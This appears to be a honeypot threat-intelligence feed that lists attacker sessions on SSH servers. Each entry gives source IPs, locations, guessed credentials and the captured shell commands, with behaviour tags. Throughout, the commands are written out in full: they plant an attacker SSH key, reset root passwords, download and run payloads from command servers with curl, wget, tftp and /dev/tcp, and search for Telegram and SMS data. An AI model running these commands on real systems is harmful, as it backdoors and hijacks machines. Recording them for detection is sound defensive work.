$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ wily_tulip_root (192.42.116.12) โ€” Amsterdam, The Netherlands ยท 1 session ยท 3 cmds
2026-08-01 11:07 EDT ยท as admin/admin
CPU profiling โ†’ CPU profiling โ†’ ?
$ echo "cp; bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1785596839796288577" | sh
โ†ณ CPU profiling
$ cp; bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1785596839796288577
โ†ณ CPU profiling
$
๐ŸŽญ wily_burger_root_115 (147.90.234.115) โ€” New York, United States ยท 1 session ยท 3 cmds
2026-08-01 09:23 EDT ยท as admin/admin
CPU profiling โ†’ CPU profiling โ†’ ?
$ echo "cp; bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1785590625172106149" | sh
โ†ณ CPU profiling
$ cp; bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1785590625172106149
โ†ณ CPU profiling
$
๐ŸŽญ restless_windmill_root (107.189.27.179) โ€” Zaandam, The Netherlands ยท 1 session ยท 2 cmds
2026-08-01 08:04 EDT ยท as oracle/Oracle1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ ironclad_dragon_root (60.171.24.134) โ€” Hefei, China ยท 1 session ยท 1 cmd
2026-08-01 06:59 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ vapor_wok_root_9 (8.152.102.9) โ€” Beijing, China ยท 1 session ยท 5 cmds
2026-08-01 05:17 EDT ยท as root/123456
echo โ†’ payload download from C2 โ†’ execute from /tmp โ†’ '8
$ echo 1 > /dev/null && cat /bin/echo
$ nohup $SHELL -c "curl http://106.15.6.205:9030/linux -o /tmp/NKZIRf3vJG; if [ ! -f /tmp/NKZIRf3vJG ]; then wget http://106.15.6.205:9030/linux -O /tmp/NKZIRf3vJG; fi; if [ ! -f /tmp/NKZIRf3vJG ]; then exec 6<>/dev/tcp/106.15.6.205/9030 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/NKZIRf3vJG ; chmod +x /tmp/NKZIRf3vJG && /tmp/NKZIRf3vJG P+HbJZSHnZMstqolkoKYlSHQ90ZL9MoikYedkSW2qiCVgp6WLtzxQ0L0yiyPmJ+SO6qpLYibnpst0vZHUvDZLY+YlZA7qqsmiJ6bki7c9UFD4d4jj5ickTuprCSInpyTLt35R0Hh2yaQh5mIJ662JJ+Vk5gi0/dSQ/HbOpCan4gkrqg7lJWTlyPT9VJD8946k5ufiCStoTuUn5qbItr1S1Lw2y2Pm5+IIK22J5Wek5Yj2vNSQ/HcOpSagpcnq7Ykl5aRmSXa4UFL79skmYeelC22ry+Rnp6UNNLvQ0b5xCWUm4KXIauiLZKbm4El2vBcQ/LZOpCenogkr6ovkZ2dljTb8URc8N86l4eeliCioSWVnImQJNvvQ0HyxCWWmIKQJaKgIJafiZk62/RAXPDaJo+QlpEtrK01np6HkCHd70NG9MQllpGWnyyqqDWXnZyPJd/4XEr5xCaSkJaQIamtNZeenY8m2PJcQ/TTOpOan5wjqKwshpSbjyXf9lxD79gmmJObkSaruCGRgpCUOtj0R1z03C6Xn52WNamqJYibno8m2fZcQ/beLpadlZI1qaksiJ6ajyHf70BB89Ajlpmehi22qSaSgpiVJMTzQEj50ySUiZ2QJbaqJZSCm5QnxPBGSPndIJCJnZ8ntqkhkoKbkCXE8EBK+9IimZGMlyWptiSVn4eQI9rvQ0X73S2WmIyXJa62IJSCmJU62PJBSPfcI5aJlIgkrqs7l56cjybd+0pG+dg0kp+ClyartiSXnIeTJ9n7RUX12jVVNgOSyNCDHrggCyV8YTMX3JRHyt4=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/NKZIRf3vJG && /tmp/NKZIRf3vJG P+HbJZSHnZMstqolkoKYlSHQ90ZL9MoikYedkSW2qiCVgp6WLtzxQ0L0yiyPmJ+SO6qpLYibnpst0vZHUvDZLY+YlZA7qqsmiJ6bki7c9UFD4d4jj5ickTuprCSInpyTLt35R0Hh2yaQh5mIJ662JJ+Vk5gi0/dSQ/HbOpCan4gkrqg7lJWTlyPT9VJD8946k5ufiCStoTuUn5qbItr1S1Lw2y2Pm5+IIK22J5Wek5Yj2vNSQ/HcOpSagpcnq7Ykl5aRmSXa4UFL79skmYeelC22ry+Rnp6UNNLvQ0b5xCWUm4KXIauiLZKbm4El2vBcQ/LZOpCenogkr6ovkZ2dljTb8URc8N86l4eeliCioSWVnImQJNvvQ0HyxCWWmIKQJaKgIJafiZk62/RAXPDaJo+QlpEtrK01np6HkCHd70NG9MQllpGWnyyqqDWXnZyPJd/4XEr5xCaSkJaQIamtNZeenY8m2PJcQ/TTOpOan5wjqKwshpSbjyXf9lxD79gmmJObkSaruCGRgpCUOtj0R1z03C6Xn52WNamqJYibno8m2fZcQ/beLpadlZI1qaksiJ6ajyHf70BB89Ajlpmehi22qSaSgpiVJMTzQEj50ySUiZ2QJbaqJZSCm5QnxPBGSPndIJCJnZ8ntqkhkoKbkCXE8EBK+9IimZGMlyWptiSVn4eQI9rvQ0X73S2WmIyXJa62IJSCmJU62PJBSPfcI5aJlIgkrqs7l56cjybd+0pG+dg0kp+ClyartiSXnIeTJ9n7RUX12jVVNgOSyNCDHrggCyV8YTMX3JRHyt4=" &
โ†ณ payload download from C2
$ head -c 3716336 > /tmp/58DO4obM68
โ†ณ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000
$ >A@/`'8
๐ŸŽญ stoic_ghost_root (190.234.243.119) โ€” Huancayo, Peru ยท 1 session ยท 5 cmds
2026-08-01 04:57 EDT ยท as root/123456
echo โ†’ payload download from C2 โ†’ execute from /tmp โ†’ '8
$ echo 1 > /dev/null && cat /bin/echo
$ nohup $SHELL -c "curl http://106.15.6.205:9030/linux -o /tmp/43XMIL8bLc; if [ ! -f /tmp/43XMIL8bLc ]; then wget http://106.15.6.205:9030/linux -O /tmp/43XMIL8bLc; fi; if [ ! -f /tmp/43XMIL8bLc ]; then exec 6<>/dev/tcp/106.15.6.205/9030 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/43XMIL8bLc ; chmod +x /tmp/43XMIL8bLc && /tmp/43XMIL8bLc frP63YEQljouO5YXgdv3pgkKovrdjxCUOS4+kQ+d2fm9AgSn9N2bGJIpOCeXEpfE/6odAqL30JYWkT4gOJYXgdv7vQUdof7flRiWOjAplxCWxPygHQam4NicE5w+NzmUAZfE/6AHHaL20oEQkTA6MZQSncr2vQIHq+DbmhOIODQ6nBmb3fyzAgOl4NubD5MxLjGWG5je/qsTC73/2ZsPlzgyJ5UVldL8oAoTq+DbnBWIODk/iBmb0PahBgCz/9yWD5MxLj+eD5ra9KoGBqbu258QiDgzOogQmdrgoQoJpfnTmwH9OzA5lxue2farCQSgr9iVRcBoMjPEE5fZ9PVWVfX0jMpFkDMzbMQW8tD3oQALs/bEnhKeJzEwiBCe0/SqBASk7tKBEJU9LjiXE4HZ+qkLAaD3yp4RkCc1O4gQm8T8oAAJpfjdmAGSPi44lhSB3fq9Agqm9N2fFZEpODuIEJrc4KIEC7322pUZnjA0KZcRnsT/oAAdovnYgRCROzo+lxWYyvqkHQKh/8SdGYg9NjOQEp7d7qIDBb3/34EXiDswPJwYn9n+swcEvf/amA+QOi47kBuX2/ykEwKh/sSYFog+OSeSE5XT/KoDE6L+24EVlCc1O4gYndD4pAYGs//cnQ+VPC44nhSB2PyjCQSi/9+PEJIxLjiVFIHb9qAdAqr+0JcYnjsgMZQPnt/5vQIGoODYnhuQOzE5hhmB2/ijHQKr9sSeEp8zOTCXFo/S4KECCr35xJoYnD84PJ8Bl8T/pQAdovvElxicPjI4kqYBAkdoBbX0hv0TJMetzJKVEgM=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/43XMIL8bLc && /tmp/43XMIL8bLc frP63YEQljouO5YXgdv3pgkKovrdjxCUOS4+kQ+d2fm9AgSn9N2bGJIpOCeXEpfE/6odAqL30JYWkT4gOJYXgdv7vQUdof7flRiWOjAplxCWxPygHQam4NicE5w+NzmUAZfE/6AHHaL20oEQkTA6MZQSncr2vQIHq+DbmhOIODQ6nBmb3fyzAgOl4NubD5MxLjGWG5je/qsTC73/2ZsPlzgyJ5UVldL8oAoTq+DbnBWIODk/iBmb0PahBgCz/9yWD5MxLj+eD5ra9KoGBqbu258QiDgzOogQmdrgoQoJpfnTmwH9OzA5lxue2farCQSgr9iVRcBoMjPEE5fZ9PVWVfX0jMpFkDMzbMQW8tD3oQALs/bEnhKeJzEwiBCe0/SqBASk7tKBEJU9LjiXE4HZ+qkLAaD3yp4RkCc1O4gQm8T8oAAJpfjdmAGSPi44lhSB3fq9Agqm9N2fFZEpODuIEJrc4KIEC7322pUZnjA0KZcRnsT/oAAdovnYgRCROzo+lxWYyvqkHQKh/8SdGYg9NjOQEp7d7qIDBb3/34EXiDswPJwYn9n+swcEvf/amA+QOi47kBuX2/ykEwKh/sSYFog+OSeSE5XT/KoDE6L+24EVlCc1O4gYndD4pAYGs//cnQ+VPC44nhSB2PyjCQSi/9+PEJIxLjiVFIHb9qAdAqr+0JcYnjsgMZQPnt/5vQIGoODYnhuQOzE5hhmB2/ijHQKr9sSeEp8zOTCXFo/S4KECCr35xJoYnD84PJ8Bl8T/pQAdovvElxicPjI4kqYBAkdoBbX0hv0TJMetzJKVEgM=" &
โ†ณ payload download from C2
$ head -c 3716336 > /tmp/xbQt6AO5uK
โ†ณ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000
$ >A@/`'8
๐ŸŽญ zealous_tulip_root (91.92.40.36) โ€” Amsterdam, The Netherlands ยท 13 sessions ยท 13 cmds
2026-07-31 20:28 EDT ยท as admin/admin, admin/admin123, deploy/deploy123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—13
๐ŸŽญ placid_windmill_sol (91.92.47.128) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-07-31 17:34 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ silent_stein_root_172 (185.220.101.172) โ€” Brandenburg an der Havel, Germany ยท 1 session ยท 3 cmds
2026-07-31 19:50 EDT ยท as admin/admin
CPU profiling โ†’ CPU profiling โ†’ ?
$ echo "bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1785541824023390045" | sh
โ†ณ CPU profiling
$ bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1785541824023390045
โ†ณ CPU profiling
$
๐ŸŽญ drowsy_burger_root_55 (15.204.94.55) โ€” Hillsboro, United States ยท 1 session ยท 19 cmds
2026-07-31 17:53 EDT ยท as root/P@ssw0rd1!
SSH brute-force with root/P@ssw0rd1! โ†’ chattr -ia .ssh to lock files โ†’ rm -rf .ssh to clear keys โ†’ reinitialize .ssh with new RSA key โ†’ cat /proc/cpuinfo to fingerprint CPU โ†’ echo root:u1uozNXW6rIP|chpasswd to reset root password โ†’ pkill -9 to terminate existing secure.sh
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:u1uozNXW6rIP"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ murky_panda_sol (118.145.131.27) โ€” Haidian, China ยท 1 session ยท 7 cmds
2026-07-31 17:27 EDT ยท as sol/sol
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "sol\nUOE4XkSdeKcN\nUOE4XkSdeKcN"|passwd|bash
$ Enter new UNIX password:
$ echo "sol\nUOE4XkSdeKcN\nUOE4XkSdeKcN\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
๐ŸŽญ wily_amber_root (83.168.107.19) โ€” Police, Poland ยท 32 sessions ยท 32 cmds
2026-07-31 14:24 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—32
๐ŸŽญ drowsy_strudel_root (5.231.26.73) โ€” Frankfurt am Main, Germany ยท 4 sessions ยท 4 cmds
2026-07-31 13:44 EDT ยท as pi/pi, postgres/postgres, root/12345678
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—4
๐ŸŽญ brisk_siesta_root (79.72.57.232) โ€” Madrid, Spain ยท 2 sessions ยท 18 cmds
2026-07-16 16:45 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print ร—2
$ ifconfig ร—2
โ†ณ network mapping
$ uname -a ร—2
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo ร—2
โ†ณ CPU profiling
$ ps | grep '[Mm]iner' ร—2
$ ps -ef | grep '[Mm]iner' ร—2
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* ร—2
$ locate D877F783D5D3EF8Cs ร—2
$ echo Hi | cat -n ร—2
๐ŸŽญ savage_stroopwafel_root (94.154.43.230) โ€” Amsterdam, The Netherlands ยท 6 sessions ยท 6 cmds
2026-07-14 17:34 EDT ยท as root/admin
payload download from C2
$ cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.56.209.153/nz.sh; curl -O http://31.56.209.153/nz.sh; chmod 777 nz.sh; sh nz.sh; tftp 31.56.209.153 -c get nz.sh; chmod 777 nz.sh; sh nz.sh; tftp -r 3.sh -g 31.56.209.153; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 31.56.209.153 2.sh 2.sh; sh 2.sh; rm -rf nz.sh nz.sh 3.sh 2.sh; rm -rf *
โ†ณ payload download from C2
$ cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.56.209.153/bins.sh; curl -O http://31.56.209.153/bins.sh; chmod 777 bins.sh; sh bins.sh; rm -rf *
โ†ณ payload download from C2
$ cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://31.56.209.70/run.sh; curl -O http://31.56.209.70/run.sh; chmod 777 run.sh; sh run.sh; rm -rf run.sh
โ†ณ payload download from C2
$ cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://41.216.189.236/nz.sh; curl -O http://41.216.189.236/nz.sh; chmod 777 nz.sh; sh nz.sh; tftp 41.216.189.236 -c get nz.sh; chmod 777 nz.sh; sh nz.sh; tftp -r 3.sh -g 41.216.189.236; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 41.216.189.236 2.sh 2.sh; sh 2.sh; rm -rf nz.sh nz.sh 3.sh 2.sh; rm -rf * ร—2
โ†ณ payload download from C2
$ cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://41.216.189.157/run.sh; curl -O http://41.216.189.157/run.sh; chmod 777 run.sh; sh run.sh; rm -rf run.sh
โ†ณ payload download from C2
๐ŸŽญ vapor_stroopwafel_sol (91.92.40.27) โ€” Amsterdam, The Netherlands ยท 16 sessions ยท 16 cmds
2026-07-31 09:15 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—16
๐ŸŽญ molten_spice_root (103.214.63.72) โ€” Bengaluru, India ยท 1 session ยท 19 cmds
2026-07-31 09:32 EDT ยท as root/P@ssw0rd1!
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:pYMq19r4lnp2"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ feral_lotus_root (20.244.20.183) โ€” Pune, India ยท 1 session ยท 2 cmds
2026-07-31 09:24 EDT ยท as oracle/Root1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ manic_wok_root_28 (43.226.44.28) โ€” Guangzhou, China ยท 1 session ยท 1 cmd
2026-07-31 08:31 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ obsidian_tulip_sol (91.92.40.29) โ€” Eygelshoven, The Netherlands ยท 40 sessions ยท 40 cmds
2026-07-03 08:03 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—40
๐ŸŽญ feral_wraith_root (190.181.4.12) โ€” La Paz, Bolivia ยท 1 session ยท 19 cmds
2026-07-31 06:40 EDT ยท as root/12345678
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "root:qcoHCArnmBF9"|chpasswd|bash โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ cat /proc/cpuinfo | grep model | grep name | wc -l โ†’ free -m
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:qcoHCArnmBF9"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ stoic_gouda_sol (91.92.42.36) โ€” Eygelshoven, The Netherlands ยท 31 sessions ยท 31 cmds
2026-07-31 04:26 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 5x across 5 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ haywire_garuda_root (38.253.224.33) โ€” Ponorogo, Indonesia ยท 1 session ยท 2 cmds
2026-07-31 03:21 EDT ยท as oracle/oracle321
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ velvet_burger_root (107.170.212.206) โ€” San Francisco, United States ยท 1 session ยท 2 cmds
2026-07-31 01:49 EDT ยท as oracle/asdf1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ hollow_lantern_root (8.153.207.91) โ€” Shanghai, China ยท 1 session ยท 5 cmds
2026-07-31 00:44 EDT ยท as root/123456
echo โ†’ payload download from C2 โ†’ execute from /tmp โ†’ '8
$ echo 1 > /dev/null && cat /bin/echo
